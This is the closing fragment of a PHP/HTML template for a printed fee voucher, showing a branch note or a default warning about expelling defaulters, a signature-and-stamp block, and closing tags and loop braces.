  <tr style="margin-top: 10px;">  

         <td width="100%" colspan="3" style=""> <br> 

         

 

      <?php if($branch[0]['fee_vouc_note']!=NULL){



          echo $branch[0]['fee_vouc_note'];

        ?>

      

      <?php }else { ?>

          Defaulters of two or more months will be expelled out. 

      <?php } ?>

  

          </td>

         

      </tr>



       <table width="100%" style="font-size:11px;" cellspacing="0">  

   

   

         <tr>  

         <td width="100%" colspan="2" style="text-align:center;border-left:none;color:white;"> .  </td>

         

         </tr>



         <tr>  

         <td width="100%" colspan="2" style="text-align:center;border:none;color:black;"> (Signature & Stamp) <br>

            

            <span style="font-size:8px;"> <?php //echo getPrintBottom($m);?>  </span>



          </td>

         

         </tr>

   </table>

  

</div>





<!-- ending section  -->







  </div>  <!-- ending box  -->







  <?php 

$GrandTotal="";

$other_fee="";

}// ending if condition



  ?>







</div>







</page>

<br><br>

<?php   $other_fee="";$GrandTotal="";}?>



</body>

</html>

